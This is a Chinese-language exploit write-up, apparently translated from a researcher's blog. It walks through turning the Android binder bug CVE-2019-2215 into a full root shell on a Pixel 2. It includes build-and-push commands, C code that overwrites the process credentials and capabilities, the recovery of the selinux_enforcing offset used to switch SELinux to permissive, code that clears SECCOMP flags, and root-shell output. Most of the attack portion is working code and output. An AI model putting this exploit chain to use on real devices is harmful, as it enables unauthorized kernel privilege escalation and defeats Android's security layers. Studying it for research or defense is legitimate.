导语:Qu1ckR00t是一段PoC,仅在Pixel 2上进行了测试。在任何其他设备/内核上运行它可能会导致崩溃甚至数据丢失。如果提示安装,请勿安装额外的Magisk环境文件或升级Magisk,因为这会修补引导程序,从而在下次引导时破坏DM-Verity,从而在需要刷新时可能导致数据丢失。 最重要的是,Magisk不是要以这种方式安装的,无需对Magisk进行进一步的修补。 关于Qu1ckR00t并没有什么新奇的东西,但是对Android上典
0x00 漏洞描述
当Project Zero紧急发布CVE-2019-2215漏洞公告时,我决定将漏洞利用代码复制到本地设备上进行复现分析。我正好有一个存在漏洞的Pixel 2手机。我需要做的就是编译漏洞exp并通过ADB运行exp代码。我下载了最新的Android NDK并编译了PoC:
[grant ~/Downloads/android-ndk-r20 >> ./toolchains/llvm/prebuilt/darwin-x86_64/bin/aarch64-linux-android29-clang -o poc ../poc.c [grant ~/Downloads/android-ndk-r20 >> adb push poc /data/local/tmp/poc poc: 1 file pushed. 0.8 MB/s (22528 bytes in 0.026s)
我在设备上运行PoC后,发现了提权漏洞。
PoC代码提供了完整的内核读/写原语,最终可以获取root权限。这就提出了一个问题:“root”对于现代Android系统到底意味着什么?要回答这个问题,我们必须首先了解Android如何实施其安全策略的。
Android通过分层实施方法来防御恶意应用程序。以下是主要部分:
· 任意访问控制(DAC) -UNIX权限(用户/组ID,R / W / X对象权限
· 强制访问控制(MAC) -通过SELinux / SEAndroid强制执行类型(实际上是谁可以与谁以及如何进行对话的白名单)
· Linux功能(CAP) -将功能强大的root用户分成几个权限片(CAP_XYZ)
· SECCOMP-允许过滤/阻止系统调用,有效地限制了内核的攻击面
· Android的中间件 -限定如典型Android应用权限android_manifest.xml如android.permission.INTERNET(通常由执行system_server)
为了获得完整的root shell,我们需要绕过每个执行层(Android中间件除外,因为漏洞利用针对的是binder,它不需要任何中间件检查即可访问)。在现代Android系统上,这可以防范不会出现重大内核漏洞,但是,借助可访问应用程序的内核漏洞,我们可以相对轻松地绕过或禁用这些功能。对于系统上的每个任务,Linux内核都会在task_struct结构中跟踪其状态 。此状态碰巧包括与安全性相关的详细信息,例如所有用户ID,其SELinux上下文,其具有的功能,是否启用SECCOMP等等。如果我们能够针对特定目标task_struct使用我们的R / W原语,我们将能够将这些值更改为我们想要的值。例如,如果我们针对当前进程实现特权提升(EoP)。
0x01 提权到root权限
绕过DAC和CAP
有了指向当前task_struct的指针,我们所需的就是从开始到当前进程凭证的正确偏移量。然后,我们可以读取指针值,并在随后的调用中使用它来戳我们的凭据。
credLinux中的struct具有我们希望更改的所有优点,以升级我们的当前流程。这是源于最新版本Linux内核的源代码。
struct cred { atomic_t usage; #ifdef CONFIG_DEBUG_CREDENTIALS atomic_t subscribers; /* number of processes subscribed */ void *put_addr; unsigned magic; #define CRED_MAGIC 0x43736564 #define CRED_MAGIC_DEAD 0x44656144 #endif kuid_t uid; /* real UID of the task */ kgid_t gid; /* real GID of the task */ kuid_t suid; /* saved UID of the task */ kgid_t sgid; /* saved GID of the task */ kuid_t euid; /* effective UID of the task */ kgid_t egid; /* effective GID of the task */ kuid_t fsuid; /* UID for VFS ops */ kgid_t fsgid; /* GID for VFS ops */ unsigned securebits; /* SUID-less security management */ kernel_cap_t cap_inheritable; /* caps our children can inherit */ kernel_cap_t cap_permitted; /* caps we're permitted */ kernel_cap_t cap_effective; /* caps we can actually use */ kernel_cap_t cap_bset; /* capability bounding set */ kernel_cap_t cap_ambient; /* Ambient capability set */ #ifdef CONFIG_KEYS unsigned char jit_keyring; /* default keyring to attach requested * keys to */ struct key *session_keyring; /* keyring inherited over fork */ struct key *process_keyring; /* keyring private to this process */ struct key *thread_keyring; /* keyring private to this thread */ struct key *request_key_auth; /* assumed request_key authority */ #endif #ifdef CONFIG_SECURITY void *security; /* subjective LSM security */ #endif struct user_struct *user; /* real user ID subscription */ struct user_namespace *user_ns; /* user_ns the caps and keyrings are relative to. */ struct group_info *group_info; /* supplementary groups for euid/fsgid */ /* RCU deletion */ union { int non_rcu; /* Can we skip RCU deletion? */ struct rcu_head rcu; /* RCU deletion hook */ }; } __randomize_layout;
需要更改很多大小不同的字段。在随机poking正确的偏移量之前,先要dump满足要求的内存结构。
[grant ~/Downloads/android-ndk-r20 >> adb shell /data/local/tmp/poc shell CHILD: Doing EPOLL_CTL_DEL. CHILD: Finished EPOLL_CTL_DEL. CHILD: Finished write to FIFO. writev() returns 0x2000 PARENT: Finished calling READV current_ptr == 0xffffffea05065700 CHILD: Doing EPOLL_CTL_DEL. CHILD: Finished EPOLL_CTL_DEL. writev() returns 0x2000 PARENT: Finished calling READV current_ptr == 0xffffffea05065700 recvmsg() returns 49, expected 49 should have stable kernel R/W now 🙂 current->mm == 0xffffffeaafefc100 current->mm->user_ns == 0xffffff98848af2c8 kernel base is 0xffffff9882880000 &init_task == 0xffffff98848a57d0 init_task.cred == 0xffffff98848b0b08 init->cred 00000000 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 |................| 00000010 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 |................| 00000020 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 |................| 00000030 ff ff ff ff 3f 00 00 00 ff ff ff ff 3f 00 00 00 |....?.......?...| 00000040 ff ff ff ff 3f 00 00 00 00 00 00 00 00 00 00 00 |....?...........| 00000050 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 |................| 00000060 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 |................| 00000070 00 00 00 00 00 00 00 00 80 d4 42 b9 ea ff ff ff |..........B.....| 00000080 c8 f3 8a 84 98 ff ff ff c8 f2 8a 84 98 ff ff ff |................| 00000090 78 0a 8b 84 98 ff ff ff 00 00 00 00 00 00 00 00 |x...............| current->cred == 0xffffffeab30a5b40 Starting as uid 2000 current->cred 00000000 1a 00 00 00 d0 07 00 00 d0 07 00 00 d0 07 00 00 |................| 00000010 d0 07 00 00 d0 07 00 00 d0 07 00 00 d0 07 00 00 |................| 00000020 d0 07 00 00 2f 00 00 00 00 00 00 00 00 00 00 00 |..../...........| 00000030 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 |................| 00000040 c0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 |................| 00000050 00 00 00 00 00 00 00 00 c0 b6 9d f2 c3 ff ff ff |[email protected]| 00000060 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 |................| 00000070 00 00 00 00 00 00 00 00 00 29 ce 69 c4 ff ff ff |................| 00000080 00 50 22 74 c4 ff ff ff c8 f2 aa 14 9e ff ff ff |...1............| 00000090 00 33 fa 9e c3 ff ff ff 00 00 00 00 00 00 00 00 |................|
查看下面的十六进制的dump数据,可以看到一些模式。我们当前的UID(以十六进制表示)为0x07d0。可以很容易地看到,在下面手动重新格式化的hexdump中,肯定有一个正确的指针指向凭证结构:
~~~ Dump of current->cred ~~~ OFF | VALUE 0 | 1a000000 // usage 4 | d0070000 // uid 8 | d0070000 // gid c | d0070000 // suid 10 | d0070000 // sgid 14 | d0070000 // euid 18 | d0070000 // egid 1c | d0070000 // fsuid 20 | d0070000 // fsgid 24 | 2f000000 // securebits 28 | 0000000000000000 // cap inh 30 | 0000000000000000 // cap perm 38 | 0000000000000000 // cap eff 40 | c000000000000000 // cap bound 48 | 0000000000000000 // cap ambient 50 | 0000000000000000 // jit keyring 58 | c0b69df2c3ffffff // session keyring 60 | 0000000000000000 // process keyring 68 | 0000000000000000 // thread keyring 70 | 0000000000000000 // request key auth 78 | 0029ce69c4ffffff // cred->security 80 | 00502274c4ffffff // user struct 88 | c8f2aa149effffff // user namespace 90 | 0033fa9ec3ffffff // group info
使用此映射,需要先获得root用户权限,首先将所有uid和gids设置为0。
uid_t uid = getuid(); unsigned long my_cred = kernel_read_ulong(current_ptr + OFFSET__task_struct__cred); printf("current->cred == 0x%lx\n", my_cred); printf("Starting as uid %u\n", uid); printf("Escalating...\n"); // change IDs to root (there are eight) for (int i = 0; i < 8; i++) kernel_write_uint(my_cred+4 + i*4, 0); if (getuid() != 0) { printf("Something went wrong changing our UID to root!\n"); exit(1); } printf("UIDs changed to root!\n");
开始执行shell证明获得了root权限,但是只有其中的DAC部分。
... UIDs changed to root! Spawning shell! id uid=0(root) gid=0(root) groups=0(root),1004(input),1007(log),1011(adb),1015(sdcard_rw),1028(sdcard_r),3001(net_bt_admin),3002(net_bt),3003(inet),3006(net_bw_stats),3009(readproc),3011(uhid) context=u:r:shell:s0
接下来以功能为目标,将每个功能位设置为1并清除安全位。
// reset securebits kernel_write_uint(my_cred+0x24, 0); // change capabilities to everything (perm, effective, bounding) for (int i = 0; i < 3; i++) kernel_write_ulong(my_cred+0x30 + i*8, 0x3fffffffffUL); printf("Capabilities set to ALL\n");
现在从现有的Linux角度来看,已经完全获得了root权限,但是Android的MAC策略仍然将我们的root用户锁定为u:r:shell:s0上下文可以执行的操作。
禁用SELinux
现在该采取最严格的安全策略了:SELinux。在cred的过程的结构中,我们可以看到security类型,其偏移量为0x78:
... #ifdef CONFIG_SECURITY void *security; /* subjective LSM security */ #endif ...
这是struct task_security_struct由security / selinux / hooks.c中的selinux_cred_alloc_blank函数分配的指针。
该结构的定义如下:
struct task_security_struct { u32 osid; /* SID prior to last execve */ u32 sid; /* current SID */ u32 exec_sid; /* exec SID */ u32 create_sid; /* fscreate SID */ u32 keycreate_sid; /* keycreate SID */ u32 sockcreate_sid; /* fscreate SID */ };
我们主要关心该sid,因为这决定了SELinux上下文。我们将其设置为另一个更高特权的SID,例如内核(SID = 1)或init(SID = 7)(初始SID列表)!
unsigned long current_cred_security = kernel_read_ulong(my_cred+0x78); // change SID to kernel kernel_write_uint(current_cred_security + 4, 1); printf("[+] SID -> kernel (1)\n");
该exp会一直执行,直到我们更改SID为止,此时的ADB连接将挂起。为什么会挂起?因为仅更改已连接并与他人通信的进程的SID并不能保证正常工作。它取决于目标SID的SELinux策略。
walleye:/ $ cat /proc/xxx/attr/current u:r:kernel:s0
确实做到了,但看起来像直接将自己提升shell到现在kernel是行不通的。需要采取另一种方法并完全禁用SELinux。禁用SELinux是Android内核利用的一种流行技术,可以通过内核R / W原语实现。唯一需要注意的是,需要知道与selinux_enforcing符号内核基数的偏移量。如果碰巧前面有一个正在运行的内核构建树,则可以使用pahole原始PoC源代码中提到的方法找到该符号。但是,如果我们只有一个内核二进制文件怎么办?
恢复selinux_enforcing
我将详细介绍为Pixel 24.4.177-g83bee1dc48e8内核恢复此符号所采取的步骤。对该字符串进行谷歌搜索将导致[ wahoo-kernel repo]。从这里我们可以下载Image.lz4-dtb文件,该文件恰好与我正在运行的内核匹配。下载此文件,有一个压缩的内核映像。解压缩后得到一个vmlinux文件:
[grant ~/Downloads >> lz4 -d Image.lz4-dtb Image Decompressed : 34 MB Stream followed by undecodable data at position 14571037 Image.lz4-dtb : decoded 36238336 bytes [grant ~/Downloads >> strings Image | grep "Linux version " Linux version 4.4.177-g83bee1dc48e8 ([email protected]) (Android (5484270 based on r353983c) clang version 9.0.3 (https://android.googlesource.com/toolchain/clang 745b335211bb9eadfa6aa6301f84715cee4b37c5) (https://android.googlesource.com/toolchain/llvm 60cf23e54e46c807513f7a36d0a7b777920b5881) (based on LLVM 9.0.3svn)) #1 SMP PREEMPT Mon Jul 22 20:12:03 UTC 2019
现在需要深入研究并恢复kallsyms表。有一个非常好的工具可以完成所有步骤:https : //github.com/nforest/droidimg。克隆并安装droidimg的依赖项,在解压缩的映像上运行它:
[grant ~/Downloads/droidimg >> ./vmlinux.py Image Linux version 4.4.177-g83bee1dc48e8 ([email protected]) (Android (5484270 based on r353983c) clang version 9.0.3 (https://android.googlesource.com/toolchain/clang 745b335211bb9eadfa6aa6301f84715cee4b37c5) (https://android.googlesource.com/toolchain/llvm 60cf23e54e46c807513f7a36d0a7b777920b5881) (based on LLVM 9.0.3svn)) #1 SMP PREEMPT Mon Jul 22 20:12:03 UTC 2019 [+]kallsyms_arch = arm64 [!]could be offset table... [!]lookup_address_table error... [!]get kallsyms error...
查找kallsyms表时发生错误。怀疑这与KASLR有关,参阅自述文件中的一些说明。运行droidimg提供的工具来修复二进制文件以便进一步提取:
[grant ~/Downloads/droidimg >> gcc -o fix_kaslr_arm64 fix_kaslr_arm64.c fix_kaslr_arm64.c:265:5: warning: always_inline function might not be inlinable [-Wattributes] int main(int argc, char **argv) [grant ~/Downloads/droidimg >> ./fix_kaslr_arm64 Image Image_kaslr Original kernel: image_dec, output file: image_dec_kaslr kern_buf @ 0x7f4105ea2000, mmap_size = 36241408 rela_start = 0xffffff80098d66d0 p->info = 0x0 rela_end = 0xffffff800a0810d8 335004 entries processed
最后可以获取符号表:
[grant ~/Downloads/droidimg >> ./vmlinux.py Image_kaslr Linux version 4.4.177-g83bee1dc48e8 ... [+]kallsyms_arch = arm64 [+]numsyms: 131603 [+]kallsyms_address_table = 0x11acc00 [+]kallsyms_num = 131603 (131603) [+]kallsyms_name_table = 0x12ade00 [+]kallsyms_type_table = 0x0 [+]kallsyms_marker_table = 0x1469900 [+]kallsyms_token_table = 0x146aa00 [+]kallsyms_token_index_table = 0x146ae00 [+]kallsyms_start_address = 0xffffff8008080000L [+]found 9915 symbols in ksymtab ffffff8008080000 t _head ffffff8008080000 T _text ...
扫描输出符号,selinux_enforcing找不到!阅读droidimg的源代码表明,它具有一种特殊的模式,该模式使用Miasm恢复未导出的符号,即selinux_enforcing。在Miasm支持下重新运行会出现以下符号:ffffff800a44e4a8 B selinux_enforcing。减去ffffff8008080000 t _head后得出的偏移量为0x23ce4a8。
最后,可以在漏洞利用中禁用SELinux:
#define SYMBOL__selinux_enforcing 0x23ce4a8 unsigned int enforcing = kernel_read_uint(kernel_base + SYMBOL__selinux_enforcing); printf("SELinux status = %u\n", enforcing); if (enforcing) { printf("Setting SELinux to permissive\n"); kernel_write_uint(kernel_base + SYMBOL__selinux_enforcing, 0); } else { printf("SELinux is already in permissive mode\n"); }
禁用SECCOMP
运行漏洞利用程序不受任何SECCOMP策略的影响。例如,我用来为Magisk创建tmpfs的mount命令/sbin不再挂载。SECCOMP正在执行,并限制了应用程序及其子级能够访问任何旧的syscall。
像我们任务的DAC,CAP和MAC状态一样,SECCOMP也作为seccomp内联结构存在于task_struct中:
struct seccomp { int mode; struct seccomp_filter *filter; };
mode可以是0(禁止),SECCOMP_MODE_STRICT或SECCOMP_MODE_FILTER。SECCOMP通常在过滤器模式下使用,在该模式下,将创建一个eBPF程序以在每个系统调用上执行,并返回ALLOW或DENY,类似于防火墙规则。该过滤器由filter参数指向。禁用SECCOMP就像将其更改mode为0 一样,但这只会导致内核崩溃。
启用SECCOMP时,它还会在task_struct->thread_info.flags结构中设置TIF_SECCOMPflag,初始syscall序将使用该flag来确定是否需要进行任何过滤。在重设此flag之前重设mode会导致在__secure_computing函数的一个BUG()。要完全禁用SECCOMP,要清除此flag。为了防止SECCOMP在fork()该模式下被复制到子进程,则需要清除(过滤器也是如此)。
#define OFFSET__task_struct__thread_info__flags 0 // if CONFIG_THREAD_INFO_IN_TASK is defined // Grant: SECCOMP isn't enabled when running the poc from ADB, only from app contexts if (prctl(PR_GET_SECCOMP) != 0) { printf("Disabling SECCOMP\n"); // clear the TIF_SECCOMP flag and everything else 😛 (feel free to modify this to just clear the single flag) // arch/arm64/include/asm/thread_info.h:#define TIF_SECCOMP 11 kernel_write_ulong(current_ptr + OFFSET__task_struct__thread_info__flags, 0); kernel_write_ulong(current_ptr + OFFSET__task_struct__cred + 0xa8, 0); kernel_write_ulong(current_ptr + OFFSET__task_struct__cred + 0xa0, 0); // this offset was eyeballed if (prctl(PR_GET_SECCOMP) != 0) { printf("Failed to disable SECCOMP!\n"); exit(1); } else { printf("SECCOMP disabled!\n"); } } else { printf("SECCOMP is already disabled!\n"); }
最后,在禁用SECCOMP的情况下获得了完整的root shell:
walleye:/ $ /data/local/tmp/poc usage: /data/local/tmp/poc [shell|shell_exec] /data/local/tmp/poc shell - spawns an interactive shell /data/local/tmp/poc shell_exec "command" - runs the provided command in an escalated shell 1|walleye:/ $ /data/local/tmp/poc shell CHILD: Doing EPOLL_CTL_DEL. CHILD: Finished EPOLL_CTL_DEL. CHILD: Finished write to FIFO. writev() returns 0x2000 PARENT: Finished calling READV current_ptr == 0xffffffeaa7e86580 CHILD: Doing EPOLL_CTL_DEL. CHILD: Finished EPOLL_CTL_DEL. recvmsg() returns 49, expected 49 should have stable kernel R/W now 🙂 current->mm == 0xffffffeab3991040 current->mm->user_ns == 0xffffff98848af2c8 kernel base is 0xffffff9882880000 current->cred == 0xffffffeaa0223540 Starting as uid 2000 Escalating... UIDs changed to root! Capabilities set to ALL SELinux status = 1 Setting SELinux to permissive Re-joining the init mount namespace... Re-joining the init net namespace... SECCOMP disabled! Spawning shell! :/ # id uid=0(root) gid=0(root) groups=0(root),1004(input),1007(log),1011(adb),1015(sdcard_rw),1028(sdcard_r),3001(net_bt_admin),3002(net_bt),3003(inet),3006(net_bw_stats),3009(readproc),3011(uhid) context=u:r:shell:s0 :/ # getenforce Permissive
如果这种漏洞利用你也很感兴趣,并且你想学习更多或练习,那么我建议尝试一些非常好的Linux内核利用CTF题目:Brad Oderberg,suckerusu,StringIPC和pwnable.kr(Rootkiss / syscall)
内核漏洞技术索引:
https://github.com/xairy/linux-kernel-exploitation
0x02 Qu1ckR00t
我创建了Qu1ckR00t(名称是satire)作为一键提权root的程序。
Qu1ckR00t是一段PoC,仅在Pixel 2上进行了测试。在任何其他设备/内核上运行它可能会导致崩溃甚至数据丢失。如果提示安装,请勿安装额外的Magisk环境文件或升级Magisk,因为这会修补引导程序,从而在下次引导时破坏DM-Verity,从而在需要刷新时可能导致数据丢失。
最重要的是,Magisk不是要以这种方式安装的,无需对Magisk进行进一步的修补。
关于Qu1ckR00t并没有什么新奇的东西,但是对Android上典型的iOS越狱流程有所了解是很酷的。也许将来,如果像三星这样的OEM完全取消OEM Unlock,这种提权到root的方法将重新流行。
Qu1ckr00t源代码:https : //github.com/grant-h/qu1ckr00t。